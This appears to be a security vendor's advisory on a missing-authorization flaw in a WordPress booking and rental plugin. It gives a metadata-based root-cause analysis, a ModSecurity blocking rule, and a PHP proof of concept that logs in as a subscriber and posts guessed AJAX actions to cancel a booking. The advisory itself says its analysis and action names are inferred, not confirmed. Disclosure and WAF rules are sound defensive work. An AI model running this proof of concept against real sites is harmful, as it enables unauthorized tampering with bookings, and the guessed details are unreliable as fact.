Atomic Edge analysis of CVE-2026-23972 (metadata-based):
This vulnerability is a missing authorization flaw in the Booking and Rental Manager for WooCommerce WordPress plugin versions up to and including 2.6.0. The plugin fails to verify user capabilities before executing a privileged function. Attackers with authenticated Subscriber-level access can perform unauthorized actions, leading to limited integrity impact.
Atomic Edge research indicates the root cause is a missing capability check on a WordPress hook handler. The CWE-862 classification confirms the plugin executes a function without verifying the current user’s permissions. This analysis is inferred from the CWE and vulnerability description, as no source code diff is available for confirmation. The vulnerability likely exists in an AJAX handler or admin-post endpoint that lacks a current_user_can() check.
Exploitation requires an authenticated WordPress user account with Subscriber privileges. Attackers would send a crafted HTTP request to the plugin’s vulnerable endpoint. Based on WordPress plugin conventions, the likely target is /wp-admin/admin-ajax.php with an action parameter containing a plugin-specific hook name. The payload would include parameters that trigger the unauthorized action, such as modifying booking data or changing plugin settings.
The fix in version 2.6.1 likely adds proper capability checks using WordPress functions like current_user_can(). Developers probably implemented checks for administrator or editor-level capabilities before executing sensitive operations. The patch may also include nonce verification for additional security, though the primary issue is the missing authorization check.
Successful exploitation allows authenticated attackers with minimal privileges to perform actions reserved for higher-privileged users. The CVSS vector indicates no confidentiality or availability impact, but integrity is affected. Attackers could modify booking data, alter rental settings, or manipulate appointment schedules. The vulnerability does not enable privilege escalation to administrative access or remote code execution.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-23972 (metadata-based)
# This rule blocks exploitation attempts targeting the missing authorization vulnerability
# in Booking and Rental Manager for WooCommerce plugin <= 2.6.0
# The rule targets AJAX requests with plugin-specific action parameters
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202623972,phase:2,deny,status:403,chain,msg:'CVE-2026-23972 via Booking and Rental Manager AJAX - Missing Authorization',severity:'CRITICAL',tag:'CVE-2026-23972',tag:'WordPress',tag:'Plugin',tag:'Booking-and-Rental-Manager'"
SecRule ARGS_POST:action "@rx ^(booking_and_rental_manager|brm_|booking_manager_|rental_manager_)"
"chain,tag:'Missing-Authorization'"
SecRule &ARGS_POST:nonce "@eq 0"
"setvar:'tx.cve_2026_23972_score=+1',chain"
SecRule ARGS_POST:operation "@rx ^(update|delete|modify|change|cancel|approve|reject)$"
"setvar:'tx.cve_2026_23972_score=+1'"
SecRule TX:CVE_2026_23972_SCORE "@ge 2"
"id:202623973,phase:2,deny,status:403,msg:'CVE-2026-23972 Exploit Attempt Detected',severity:'CRITICAL',tag:'CVE-2026-23972',tag:'Exploit'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-23972 - Booking and Rental Manager for Bike | Car | Resort | Appointment | Dress | Equipment <= 2.6.0 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-23972
* Assumptions based on vulnerability metadata:
* 1. The plugin uses WordPress AJAX handlers
* 2. The vulnerable endpoint lacks capability checks
* 3. Subscriber-level users can trigger unauthorized actions
* 4. The AJAX action name likely contains 'booking_and_rental_manager' or similar
*
* WARNING: This is a simulated PoC based on inferred patterns.
* Actual exploitation requires identifying the exact vulnerable action.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Initialize cURL session for authentication
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// First, authenticate to WordPress (simplified - real PoC would need proper nonce)
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, 'https://example.com/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$response = curl_exec($ch);
// Check if authentication succeeded (simplified check)
if (strpos($response, 'dashboard') === false && strpos($response, 'admin') === false) {
echo "Authentication failed. Check credentials.n";
exit;
}
// Send exploit payload to vulnerable AJAX endpoint
// The exact action name is unknown without code analysis
// Common patterns based on plugin slug:
$possible_actions = array(
'booking_and_rental_manager_action',
'brm_ajax_action',
'booking_manager_action',
'rental_manager_update'
);
foreach ($possible_actions as $action) {
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
// Construct payload that might trigger unauthorized action
$payload = array(
'action' => $action,
'operation' => 'update',
'booking_id' => '1',
'status' => 'cancelled',
'nonce' => 'bypassed' // Nonce would normally be required
);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
$ajax_response = curl_exec($ch);
echo "Testing action: {$action}n";
echo "Response: " . substr($ajax_response, 0, 200) . "...nn";
}
curl_close($ch);
?>
